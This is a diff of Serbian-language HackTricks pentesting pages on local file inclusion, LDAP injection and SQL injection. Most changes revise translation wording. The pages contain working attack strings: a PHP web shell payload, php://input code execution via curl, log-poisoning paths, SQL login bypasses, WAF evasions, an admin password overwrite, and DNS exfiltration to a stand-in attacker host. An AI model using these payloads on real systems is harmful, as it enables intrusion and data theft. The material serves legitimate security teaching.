- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **pivotirali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to raditi dok ne dođete do željenog bita za eksfiltraciju.
|
||||
|
||||
U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
|
||||
Ovaj wrapper omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -337,7 +337,7 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Navedite svoj payload u POST parametrima:
|
||||
Specifikujte svoj payload u POST parametrima:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
@ -408,13 +408,13 @@ Važno je **URL-enkodirati ove payload-e**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) ali sadržaj nije prikazan.
|
||||
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
|
||||
|
||||
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
|
||||
|
||||
Ukratko, tehnika koristi **"UCS-4LE" enkodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
|
||||
|
||||
Zatim, kako bi se iscurio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i iscuri ih**.
|
||||
Zatim, kako bi se otkrio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se **postavili drugi karakteri na početak i otkrili ih**.
|
||||
|
||||
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljati read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -435,7 +435,7 @@ Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije, mogli
|
||||
>
|
||||
> Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
|
||||
|
||||
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **autorizacija "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može umetnuti unutar ovog header-a.\
|
||||
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može umetnuti unutar ovog header-a.\
|
||||
Ostale moguće putanje logova:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -457,7 +457,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
### Putem /proc/\*/fd/\*
|
||||
|
||||
1. Učitajte mnogo shell-ova (na primer: 100)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD file descriptor (može se takođe brute force-ovati)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-forcovati) i $FD kao deskriptor fajla (takođe može da se brute-forcuje)
|
||||
|
||||
### Putem /proc/self/environ
|
||||
|
||||
@ -474,7 +474,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf
|
||||
|
||||
### Putem učitavanja ZIP datoteke
|
||||
### Putem učitavanja Zip datoteke
|
||||
|
||||
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
|
||||
```python
|
||||
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga napišete** u datoteku.
|
||||
Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u osnovi znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga pišete** u datoteku.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Otkrivanje putanje
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i možete **ekstraktovati putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **obiđete tu proveru** sa ovom **Race Condition**:
|
||||
Ako ste pronašli **Local File Inclusion** i **možete eksfiltrirati putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **obiđete tu proveru** sa ovom **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Putem večnog čekanja + bruteforce
|
||||
|
||||
Ako možete da iskoristite LFI za **upload privremenih datoteka** i naterate server da **zakaže** PHP izvršenje, mogli biste da **bruteforce-ujete imena datoteka tokom sati** da pronađete privremenu datoteku:
|
||||
Ako možete da iskoristite LFI za **upload privremenih datoteka** i naterate server da **zadrži** PHP izvršenje, mogli biste da **bruteforce-ujete imena datoteka tokom sati** da pronađete privremenu datoteku:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -612,6 +612,8 @@ Ako uključite bilo koju od datoteka `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bi
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -12,7 +12,9 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Morate promeniti i **payload** na početku eksploata (na primer, za php-rev-shell), **REQ1** (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), i **LFIREQ** (ovo treba da upućuje na LFI ranjivost, tj.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Proverite dupli "%" kada eksploatišete null char)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teorija
|
||||
|
||||
@ -26,7 +28,7 @@ U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike zaglavlja) **uploadujući php** reverznu **shell**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
|
||||
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike heder-e) **uploadujući php** reverznu **shell**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi temp fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
|
||||
|
||||
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
|
||||
```python
|
||||
|
@ -14,9 +14,11 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** je napad koji cilja web aplikacije koje konstruiraju LDAP izjave iz korisničkog unosa. Do njega dolazi kada aplikacija **ne uspe da pravilno sanitizuje** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.
|
||||
**LDAP Injection** je napad koji cilja web aplikacije koje konstruišu LDAP izjave iz korisničkog unosa. Do njega dolazi kada aplikacija **ne uspe da pravilno sanitizuje** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
|
@ -21,7 +21,7 @@ Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgo
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Zatim, treba da znate kako da **popravite upit tako da ne bude grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
|
||||
Zatim, treba da znate kako da **popravite upit kako ne bi bilo grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
|
||||
|
||||
_Napomena: ako možete da vidite poruke o grešci ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša._
|
||||
|
||||
@ -66,12 +66,14 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Ova lista reči je kreirana da pokuša da **potvrdi SQL injekcije** na predloženi način:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Potvrđivanje sa vremenom
|
||||
|
||||
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepe SQL injekcije** je da naterate DB da izvrši radnje koje će imati **uticaj na vreme** koje je potrebno stranici da se učita.\
|
||||
Stoga, u SQL upit ćemo dodati operaciju koja će potrajati dugo da se završi:
|
||||
Zato ćemo u SQL upit dodati operaciju koja će potrajati dugo da se završi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -97,7 +99,7 @@ U nekim slučajevima **funkcije spavanja neće biti dozvoljene**. Tada, umesto k
|
||||
|
||||
### Identifikacija Back-end-a
|
||||
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-a. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -128,7 +130,7 @@ Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija raz
|
||||
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
|
||||
|
||||
> [!NOTE]
|
||||
> U nastavku ćemo raspraviti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
|
||||
> U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL injekcija. Koristićemo MySQL kao primer.
|
||||
|
||||
### Identifikacija sa PortSwigger
|
||||
|
||||
@ -141,12 +143,12 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
### Otkrivanje broja kolona
|
||||
|
||||
Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite.\
|
||||
Prvo, potrebno je da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
|
||||
Prvo, treba da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
|
||||
Dve metode se obično koriste u tu svrhu:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. Iako imaju različite funkcionalnosti, **GROUP BY** i **ORDER BY** se u SQL-u mogu koristiti identično za utvrđivanje broja kolona u upitu.
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. Iako imaju različite funkcionalnosti, **GROUP BY** i **ORDER BY** se u SQL-u mogu koristiti na identičan način za utvrđivanje broja kolona u upitu.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -170,7 +172,7 @@ Izaberite sve više i više null vrednosti dok upit ne bude tačan:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti i null je validan u svakom slučaju._
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti i null je validan u svakom slučaju._
|
||||
|
||||
### Izvlačenje imena baza podataka, imena tabela i imena kolona
|
||||
|
||||
@ -189,17 +191,17 @@ _Postoji različit način da se otkrije ovi podaci na svakoj različitoj bazi po
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Kada je izlaz upita vidljiv, ali se čini da je injekcija zasnovana na uniji neostvariva, to označava prisustvo **skrivene injekcije zasnovane na uniji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
|
||||
Kada je izlaz upita vidljiv, ali se čini da je injekcija zasnovana na uniji nedostižna, to označava prisustvo **hidden union-based injection**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
|
||||
|
||||
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani Sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
|
||||
|
||||
Kada je upit izvučen, potrebno je prilagoditi vaš payload kako bi se sigurno zatvorio originalni upit. Nakon toga, upit zasnovan na uniji se dodaje vašem payload-u, olakšavajući eksploataciju novonastale injekcije zasnovane na uniji.
|
||||
Kada je upit izvučen, potrebno je prilagoditi vaš payload da sigurno zatvori originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući eksploataciju novonastale injekcije zasnovane na uniji.
|
||||
|
||||
Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
|
||||
Ako iz nekog razloga **ne možete** videti **izlaz** **upita**, ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvucite** podatke iz baze podataka.\
|
||||
Ako iz nekog razloga **ne možete** da vidite **izlaz** **upita**, ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvucite** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao u eksploataciji zasnovanoj na uniji, mogli biste uspeti da dump-ujete DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -219,7 +221,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Iskorišćavanje SQLi zasnovanog na vremenu
|
||||
|
||||
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Međutim, možete učiniti da stranica **duže učitava** ako je pogodak tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](#confirming-with-timing).
|
||||
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Međutim, možete učiniti da stranica **duže učitava** ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -231,7 +233,7 @@ Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ako **nijedna** druga metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
Ako **nijedna** druga metoda eksploatacije **nije uspela**, možete pokušati da **baza podataka ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -267,7 +269,7 @@ Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hash-iraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hash-uje, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -281,11 +283,13 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku uvek: _**Pass1234.**_\
|
||||
&#xNAN;_(Ovi payloadi su takođe uključeni u veliku listu pomenutu na početku ovog odeljka)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK autentifikacija zaobiđeno
|
||||
### GBK autentifikacija zaobići
|
||||
|
||||
AKO je ' escapovan, možete koristiti %A8%27, a kada se ' escapuje, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
AKO se ' escape-uje, možete koristiti %A8%27, a kada se ' escape-uje, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -308,7 +312,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Izmena lozinke postojećeg objekta/korisnika
|
||||
|
||||
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
Da biste to uradili, trebali biste pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
|
||||
- Kreirajte korisnika nazvanog: **AdMIn** (velika i mala slova)
|
||||
- Kreirajte korisnika nazvanog: **admin=**
|
||||
@ -316,27 +320,27 @@ Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "ma
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
|
||||
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim MySQL instalacijama. Dok poređenja i dalje ignorišu razmake na kraju po defaultu, pokušaj umetanja stringa koji je duži od dužine polja rezultiraće greškom, a umetanje će propasti. Za više informacija o ovoj provere:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim MySQL instalacijama. Dok poređenja i dalje ignorišu razmake na kraju po defaultu, pokušaj umetanja stringa koji je duži od dužine polja rezultiraće greškom, a umetanje će propasti. Za više informacija o ovoj provali:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
### MySQL Insert provera zasnovana na vremenu
|
||||
|
||||
Dodajte koliko god `','',''` smatrate da je potrebno da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
Dodajte koliko god `','',''` smatrate potrebnim da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer prikazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da ažurira lozinku:
|
||||
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -344,7 +348,7 @@ Evo kako to funkcioniše:
|
||||
|
||||
- Upit pokušava da unese dva reda: jedan za `generic_user@example.com` i drugi za `admin_generic@example.com`.
|
||||
- Ako red za `admin_generic@example.com` već postoji, `ON DUPLICATE KEY UPDATE` klauzula se aktivira, naređujući MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Shodno tome, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
- Shodno tome, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hešu ("bcrypt_hash_of_newpassword" predstavlja bcrypt heš nove lozinke, koji treba zameniti stvarnim hešom željene lozinke).
|
||||
|
||||
### Ekstrakcija informacija
|
||||
|
||||
@ -361,7 +365,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
|
||||
Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.
|
||||
|
||||
Korišćenje **hex2dec** i **substr**:
|
||||
Korišćenjem **hex2dec** i **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
@ -389,11 +393,11 @@ Example:
|
||||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Početni bypass-ovi odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
No Space (%20) - bypass koristeći alternative za razmake
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -459,7 +463,7 @@ Ili korišćenjem **comma bypass**:
|
||||
```
|
||||
Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### WAF bypass suggester tools
|
||||
### Alati za predlaganje zaobilaženja WAF-a
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
@ -470,7 +474,7 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
